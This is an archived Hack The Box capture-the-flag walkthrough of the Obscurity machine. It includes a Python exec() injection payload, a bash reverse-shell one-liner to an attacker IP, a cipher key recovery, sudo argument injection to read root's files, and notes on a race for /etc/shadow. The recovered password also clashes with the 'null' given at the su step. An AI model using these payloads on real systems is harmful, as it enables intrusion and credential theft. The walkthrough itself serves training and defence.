Hack The Box
Hack The Box: Obscurity Walkthrough
An archived walkthrough of the retired Hack The Box Obscurity machine, preserved from Abdullah Kareem's OSWE Prep preparation notes.

Target IP: 10.129.227.178
Attacker IP: 10.10.16.84
Difficulty: Medium
OS: Linux
Introduction & Mindset
What is "Security Through Obscurity"?
This box is literally named Obscurity, and its theme is "security through obscurity." This is a critical concept in cybersecurity:
Security through obscurity is the reliance on the secrecy of the design or implementation as the main method of providing security for a system.
The website even jokes about it: "you can't be hacked if attackers don't know what software you're using!" This is a fallacy. Real security comes from strong design, peer review, and assuming the attacker already knows how your system works (Kerckhoffs's Principle).
The Hacker Mindset for This Box
Before we start typing commands, let's understand the mindset:
- Assume nothing is truly hidden. The devs think their "secret" directory is safe because it's not linked anywhere. We know better.
- Source code is the ultimate target. If we can read the source code of a custom application, we can find vulnerabilities that black-box testing would never reveal.
- Custom crypto is almost always broken. The box advertises an "unbreakable encryption algorithm." In the real world, custom cryptography is a huge red flag. Standard algorithms (AES, RSA, ChaCha20) are standard for a reason -- they've been tested by thousands of cryptographers.
- Look for developer mistakes, not complex exploits. The
exec()vulnerability we'll find is a basic Python mistake. The root escalation is a logic flaw in argument parsing. These aren't zero-days -- they're careless coding.
Step 1: Initial Reconnaissance (Nmap)
The Commands
nmap -p- --min-rate 10000 10.129.227.178
nmap -p 22,8080 -sC -sV -oA scans/nmap 10.129.227.178
Why We Do This
Reconnaissance is the foundation of every penetration test. You cannot attack what you don't know exists. The first command (-p-) scans all 65,535 TCP ports. The second (-sC -sV) runs default scripts and version detection on the open ports we found.
The Hacker Mindset
We're asking: "What services are running? What versions? What can I talk to?"
- Port 22 (SSH): Standard OpenSSH. Probably not our initial entry point unless we have credentials, but we'll note it for later.
- Port 8080 (HTTP): A web server running something called
BadHTTPServer. This is not Apache, Nginx, or IIS. It's custom software -- immediately interesting because custom software often has custom vulnerabilities. - Ports 80 and 9000 are closed: Interesting that they send RST packets instead of no-response. This tells us the host is actively rejecting connections on those ports, which might hint at firewall rules or future pivoting opportunities.
Key Takeaway
Custom services = custom vulnerabilities. When you see a non-standard service name like
BadHTTPServer, your interest should spike. Standard servers have had decades of security patches. Custom servers are often written by developers who aren't security experts.
Step 2: Web Enumeration
The Commands
curl http://10.129.227.178:8080
Why We Do This
Web applications are the most common attack surface. We need to understand what the application does, what technologies it uses, and whether it leaks any information.
The Hacker Mindset
We're reading the page like an investigator, not a user. We're not looking at the pretty CSS -- we're looking for:
- Comments in the source code
- Hidden directories or paths
- Developer notes or debug information
- Technology stack hints
What We Found
The page is a promotional site for "0bscura" -- a company that writes all its own software. The critical finding is in the Development section:
"Message to server devs: the current source code for the web server is in 'SuperSecureServer.py' in the secret development directory"
Why This Is Huge
This is a classic information disclosure vulnerability. The developers left a note for themselves that tells us:
- The exact filename:
SuperSecureServer.py - The file exists in a "secret development directory"
- The directory is accessible via the web server somehow
Key Takeaway
Developers often leak critical information in comments, notes, and error messages. Always read the full page content and view the page source. What looks like an internal note to a developer is a roadmap to an attacker.
Step 3: Discovering the Secret Directory
The Commands
grep dev /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt > dev_dirs
ffuf -u http://10.129.227.178:8080/FUZZ/SuperSecureServer.py -w dev_dirs -c
Why We Do This
We know the filename (SuperSecureServer.py) and we know it lives in a "secret development directory." We need to find the directory name. Since we can't guess it, we use brute-force discovery -- trying thousands of common directory names until one works.
Why ffuf/wfuzz and Not gobuster/dirsearch?
The writeups noted that gobuster failed against this custom server because the server sends malformed HTTP responses that crash Go's HTTP parser. ffuf and wfuzz are more tolerant of weird responses.
Why We Filtered for "dev"
The hint said "development directory." Instead of brute-forcing 220,000 words, we intelligently filtered the wordlist to only entries containing "dev" -- reducing it to ~343 words. This is smart brute-forcing: using context clues to reduce the search space.
The Hacker Mindset
We're thinking: "The developers are lazy. They probably used a simple, obvious name like 'dev', 'develop', 'development', or 'devel'. Let's not waste time on 'admin', 'backup', or 'test' when we have a strong hint."
What We Found
develop [Status: 200, Size: 5892, Words: 1806, Lines: 171]
The secret directory is /develop.
Key Takeaway
Context-aware enumeration is faster than blind brute-forcing. If you have a hint, use it. A 343-wordlist scan takes seconds; a 220,000-wordlist scan takes minutes and might crash.
Step 4: Source Code Analysis
The Commands
wget http://10.129.227.178:8080/develop/SuperSecureServer.py
cat SuperSecureServer.py
Why We Do This
Source code is the attacker's best friend. When you can read the source code of a web application, you don't have to guess how it works -- you can see exactly how it processes input, where it sanitizes (or doesn't sanitize) data, and what assumptions the developer made.
The Hacker Mindset
We're reading this code like a security auditor. We're not looking for "does it work?" -- we're looking for "how can I break it?"
Key questions we ask:
- Where does user input enter the system?
- Is that input sanitized, validated, or escaped?
- Does it reach any dangerous functions (
exec,eval,os.system,subprocess, SQL queries, etc.)? - Are there any logic flaws or race conditions?
The Vulnerability
In the serveDoc() method, we find:
def serveDoc(self, path, docRoot):
path = urllib.parse.unquote(path)
try:
info = "output = 'Document: {}'" # Keep the output for later debug
exec(info.format(path)) # This is how you do string formatting, right?
Let's break down why this is catastrophic:
pathcomes from the HTTP request URL. The user completely controls this.urllib.parse.unquote(path)URL-decodes the path. This means%20becomes a space,%27becomes', etc.info.format(path)inserts the user-controlled path into a Python string.exec()executes that string as Python code.
The Developer's Mistake
The developer wanted to create a debug string like:
output = 'Document: /index.html'
But they used exec() instead of simple assignment. If a user sends:
/'; os.system('id'); a='
The formatted string becomes:
output = 'Document: '; os.system('id'); a=''
The exec() runs this as three separate Python statements:
output = 'Document: '(harmless assignment)os.system('id')(REMOTE CODE EXECUTION)a=''(harmless assignment)
Why os Is Available
Notice at the top of the file:
import os
Because os is already imported into the script's namespace, our injected code can use it directly without needing to import it ourselves.
Key Takeaway
exec()andeval()with user input is always dangerous. There is virtually no safe way to use these functions with untrusted data. If you seeexec(),eval(), orpickle.loads()in code that processes user input, you've probably found your vulnerability.
Step 5: Exploiting Python exec() Injection
Proof of Concept (Ping)
Terminal 1 (Listener):
sudo tcpdump -i tun0 icmp
Terminal 2 (Attack):
curl "http://10.129.227.178:8080/';os.system('ping%20-c%201%2010.10.16.84');'"
Why We Test with Ping First
Before we try to get a full shell, we use a blind command execution test. Why?
- We might not see direct output from the web server.
- A ping is safe, non-destructive, and confirms execution.
- If we get ICMP packets back, we know our injection syntax is correct.
Why This Payload Works
Let's trace the payload through the code:
- HTTP Request:
GET /';os.system('ping%20-c%201%2010.10.16.84');' HTTP/1.1 - Request.doc:
';os.system('ping%20-c%201%2010.10.16.84');' - URL Decode:
';os.system('ping -c 1 10.10.16.84');' - String Format:
output = 'Document: ';os.system('ping -c 1 10.10.16.84');'' - exec() runs it. The middle statement executes
ping -c 1 10.10.16.84.
The Hacker Mindset
We're being methodical: "Don't rush to a reverse shell. Confirm the primitive first. If the ping works, the shell will work. If the ping fails, I need to debug my payload syntax before I waste time on a listener."
Getting the Reverse Shell
Terminal 1 (Listener):
nc -lvnp 443
Terminal 2 (Attack):
curl "http://10.129.227.178:8080/';os.system('bash%20-c%20%22bash%20-i%20%3E&%20/dev/tcp/10.10.16.84/443%200%3E&1%22');'"
Why This Payload?
We're using a bash reverse shell one-liner:
bash -c "bash -i >& /dev/tcp/10.10.16.84/443 0>&1"
This creates an interactive bash session that redirects:
stdoutandstderr(>&) to a TCP connection to our Kali machinestdin(0>&1) from that same connection
We wrap it in bash -c because the os.system() call needs a single command string. We URL-encode spaces and special characters so the HTTP request is valid.
Key Takeaway
Always verify your exploit primitive with a safe test (ping/dns) before deploying a reverse shell. This saves time debugging whether your shell failed because of networking issues, firewall rules, or bad payload syntax.
Step 6: Stabilizing the Shell
The Commands
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Press Ctrl+Z
stty raw -echo; fg
reset
Why We Do This
A basic netcat shell is limited:
- No command history (arrow keys don't work)
- No tab completion
- No clear command
Ctrl+Ckills the shell instead of cancelling a command- Some commands (like
sudo,vim,ssh) require a TTY (terminal device)
What PTY Does
PTY stands for Pseudo-Terminal. It makes our shell behave like a real terminal session. The stty raw -echo command on our Kali machine tells our local terminal to pass keystrokes directly to the remote shell without interpreting them locally.
The Hacker Mindset
We're thinking: "I have a shell, but it's fragile. Before I start exploring and running complex commands, I need a stable environment. A broken shell during privilege escalation could mean losing access and having to start over."
Key Takeaway
Stabilize your shell immediately. Don't explore the target with a bare netcat shell. A PTY shell prevents accidental disconnections and enables commands that require interactive input.
Step 7: Post-Exploitation Enumeration
The Commands
cd /home/robert && ls -la
cat check.txt
cat out.txt
cat passwordreminder.txt
python3 SuperSecureCrypt.py -h
Why We Do This
Now that we have a stable shell as www-data, we need to escalate privileges. The first place to look is always /home -- user home directories often contain:
- SSH keys
- Passwords or password hints
- Configuration files with credentials
- Scripts or applications with vulnerabilities
What We Found
check.txt - plaintext message
out.txt - encrypted output
passwordreminder.txt - encrypted password reminder
SuperSecureCrypt.py - the encryption program
user.txt - the user flag (unreadable by www-data)
The Hacker Mindset
We're seeing a pattern: the box gives us both the encryption tool and a known plaintext/ciphertext pair. This is a huge hint. The developer left check.txt (plaintext) and out.txt (ciphertext) as a way to verify the encryption key works. For an attacker, this is a gift.
We're thinking: "If I can figure out how this encryption works, I can use the known plaintext to recover the key. Then I can decrypt the password reminder and get robert's password."
Key Takeaway
Always check user home directories thoroughly. Look for scripts, text files, and anything that stands out. Developers often leave test files, credentials, or hints that make privilege escalation trivial.
Step 8: Cryptographic Analysis (Known-Plaintext Attack)
Understanding the Encryption
Looking at SuperSecureCrypt.py:
def encrypt(text, key):
keylen = len(key)
keyPos = 0
encrypted = ""
for x in text:
keyChr = key[keyPos]
newChr = ord(x)
newChr = chr((newChr + ord(keyChr)) % 255)
encrypted += newChr
keyPos += 1
keyPos = keyPos % keylen
return encrypted
def decrypt(text, key):
keylen = len(key)
keyPos = 0
decrypted = ""
for x in text:
keyChr = key[keyPos]
newChr = ord(x)
newChr = chr((newChr - ord(keyChr)) % 255)
decrypted += newChr
keyPos += 1
keyPos = keyPos % keylen
return decrypted
Breaking Down the Math
This is essentially a Vigenere cipher with modulo 255 instead of 26:
- Encryption:
cipher_char = (plain_char + key_char) % 255 - Decryption:
plain_char = (cipher_char - key_char) % 255
Why Custom Crypto Is Bad
Real-world encryption uses algorithms like AES because:
- They resist known-plaintext attacks
- They use complex substitution-permutation networks
- They have been analyzed by cryptographers for decades
This custom algorithm is just repeated addition. If you know any plaintext and its ciphertext, you can solve for the key:
key_char = (cipher_char - plain_char) % 255
The Attack: Using the Script Against Itself
We have:
check.txt= plaintextout.txt= ciphertext of check.txt
If we "decrypt" out.txt using check.txt as the "key," the math works out to:
result = (cipher_char - plain_char) % 255 = key_char
So we run:
python3 SuperSecureCrypt.py -i out.txt -k "$(cat check.txt)" -d -o /tmp/key.txt
cat /tmp/key.txt
Output: alexandrovichalexandrovichalexandrovich...
The key is alexandrovich.
Decrypting the Password
Now that we have the key:
python3 SuperSecureCrypt.py -i passwordreminder.txt -k alexandrovich -d -o /tmp/passwd.txt
cat /tmp/passwd.txt
Output: SecThruObsFTW
The Hacker Mindset
We're thinking: "The developer wanted to test their encryption, so they left a plaintext/ciphertext pair. They didn't realize this completely breaks their cipher. This is why Kerckhoffs's Principle says the security of a cipher should depend ONLY on the key, not on keeping the algorithm secret."
Key Takeaway
Never roll your own cryptography. And if you find custom crypto on a target, look for known-plaintext or chosen-plaintext opportunities. Test files, example outputs, and encrypted data with predictable structure (like JSON, XML, or English text headers) are all potential attack vectors.
Step 9: Privilege Escalation to robert
The Commands
su robert
# Password: null
cat /home/robert/user.txt
Why We Do This
Now that we have robert's password, we can authenticate as him. We use su (switch user) instead of SSH because we already have a shell on the box -- no need to make a new network connection.
What We Found
User flag: 7603f0f[redacted]35349696
The Hacker Mindset
We're now thinking about the next target: root. Before we hunt for root, we check what privileges robert has.
Step 10: Root Privilege Escalation
Checking sudo Privileges
sudo -l
Output:
User robert may run the following commands on obscure:
(ALL) NOPASSWD: /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
Why This Is Interesting
sudo -l tells us what commands robert can run as root without a password. The only entry is a custom Python script -- another instance of custom software. Custom software running with elevated privileges is a privilege escalation goldmine.
Analyzing BetterSSH.py
The script:
- Reads a username and password from the user
- Copies
/etc/shadowto/tmp/SSH/[random_name] - Sleeps for 0.1 seconds
- Validates the password against the shadow hash
- If authenticated, enters a loop that runs commands via
sudo -u [user]
The critical code is:
command = input(session['user'] + "@Obscure$ ")
cmd = ['sudo', '-u', session['user']]
cmd.extend(command.split(" "))
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
Finding the Vulnerability
The script builds the command list as:
cmd = ['sudo', '-u', 'robert']
# Then extends with our input
cmd = ['sudo', '-u', 'robert', '-u', 'root', 'cat', '/root/root.txt']
How sudo handles multiple -u flags: When sudo receives multiple -u options, the last one wins. This is standard behavior for many command-line tools.
So sudo -u robert -u root cat /root/root.txt executes as root.
The Hacker Mindset
We're analyzing the script as if we wrote it. We ask:
- "What assumptions did the developer make?" They assumed the user would only enter simple commands.
- "What can I inject?" The
command.split(" ")splits on spaces, butsudoparses arguments sequentially. Adding-u rootbefore our real command hijacks the privilege level. - "Why does this work?" Because the developer trusted user input to be a simple command, not a command with its own flags.
Exploitation
mkdir -p /tmp/SSH
sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
# Enter username: robert
# Enter password: null
# Authed!
# robert@Obscure$ -u root cat /root/root.txt
Root flag: ea0cac[redacted]695d4b6d
Why We Created /tmp/SSH First
The script writes the shadow file to /tmp/SSH/[random]. If /tmp/SSH doesn't exist, the script crashes with a FileNotFoundError. This is a small detail that could block exploitation if we didn't know about it.
Key Takeaway
When analyzing sudo privileges, always read the source code of custom scripts. Look for:
subprocess.Popen,os.system, orexecwith user input- Command-line argument injection opportunities
- Race conditions (file operations with predictable paths or timing windows)
- Path hijacking (directories in PATH that are writable by the user)
Alternative Root Paths
Path 1: Race Condition on Shadow File
The script writes /etc/shadow to /tmp/SSH/[random_name] and leaves it there for 0.1 seconds. An attacker could:
- Run a loop constantly reading
/tmp/SSH/* - Run BetterSSH simultaneously
- Catch the shadow file before it's deleted
- Crack the root password hash with
johnorhashcat
Why this works: The developer assumed 0.1 seconds was "too fast" to exploit. On a modern CPU, 0.1 seconds is an eternity.
Path 2: Directory Replacement
If robert had write access to the BetterSSH directory, he could:
mv BetterSSH BetterSSH-oldmkdir BetterSSH- Write a malicious
BetterSSH.pythat spawns a root shell - Run
sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
Why this works: sudo checks the path, not the file contents. If you can replace the directory or file, you control what runs as root.
Note: In our instance, this was patched -- the BetterSSH directory was owned by root and not writable by robert.
Path 3: Python Path Hijacking (Patched)
Python loads modules from the script's directory first. If BetterSSH/ was writable, robert could create a fake subprocess.py in that directory. When BetterSSH imported subprocess, it would load robert's malicious version instead of the system library.
Why this works: Python's module resolution prioritizes the local directory. This is well-known behavior that many developers forget about.
Path 4: LXD Group (Patched)
At release, robert was in the lxd group. Members of the lxd group can create privileged containers that mount the host filesystem. An attacker could:
- Import an Alpine Linux container image
- Create a privileged container with the host root mounted as
/mnt/root - Access any file on the host as root
Why this works: LXD containers share the kernel with the host. A privileged container has root access to the host's kernel namespaces and mounted filesystems.
Lessons Learned
For Attackers
- Custom software is fertile ground for vulnerabilities. Always prioritize custom applications over standard, well-tested services.
- Source code access changes everything. A single source file leak can turn a black-box test into a code audit.
- Never underestimate developer laziness. "Secret" directories, hardcoded credentials, debug comments, and test files are everywhere.
- Custom cryptography is a vulnerability, not a feature. If you see homegrown encryption, look for known-plaintext attacks.
- Sudo on custom scripts is dangerous. Always analyze what the script does and how it handles user input.
For Defenders
- Never use
exec()oreval()with user input. There is no safe way to do this. - Don't rely on obscurity. Hiding your source code or using custom algorithms doesn't make you secure.
- Remove debug code and comments before deployment. That "note to devs" gave away the entire attack path.
- Use standard cryptography. AES, RSA, and ChaCha20 exist for a reason.
- Audit custom scripts running with elevated privileges. Especially any script that uses
subprocess,os.system, or handles user input. - Set strict permissions on sensitive directories. If a directory contains a script that runs as root, no unprivileged user should be able to rename, modify, or write to it.
Complete Command Reference
# Step 1: Recon
nmap -p- --min-rate 10000 10.129.227.178
nmap -p 22,8080 -sC -sV 10.129.227.178
# Step 2: Web enum
curl http://10.129.227.178:8080
# Step 3: Directory fuzzing
grep dev /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt > dev_dirs
ffuf -u http://10.129.227.178:8080/FUZZ/SuperSecureServer.py -w dev_dirs -c
# Step 4: Download source
wget http://10.129.227.178:8080/develop/SuperSecureServer.py
# Step 5: Exploit - Ping test
sudo tcpdump -i tun0 icmp
curl "http://10.129.227.178:8080/';os.system('ping%20-c%201%2010.10.16.84');'"
# Step 5: Exploit - Reverse shell
nc -lvnp 443
curl "http://10.129.227.178:8080/';os.system('bash%20-c%20%22bash%20-i%20%3E&%20/dev/tcp/10.10.16.84/443%200%3E&1%22');'"
# Step 6: Stabilize shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
# Step 7-8: Crypto attack
python3 SuperSecureCrypt.py -i out.txt -k "$(cat check.txt)" -d -o /tmp/key.txt
cat /tmp/key.txt # alexandrovich
python3 SuperSecureCrypt.py -i passwordreminder.txt -k alexandrovich -d -o /tmp/passwd.txt
cat /tmp/passwd.txt # SecThruObsFTW
# Step 9: User privesc
su robert
cat /home/robert/user.txt
# Step 10: Root privesc
mkdir -p /tmp/SSH
sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
# username: robert
# password: null
# -u root cat /root/root.txt
Happy Hacking!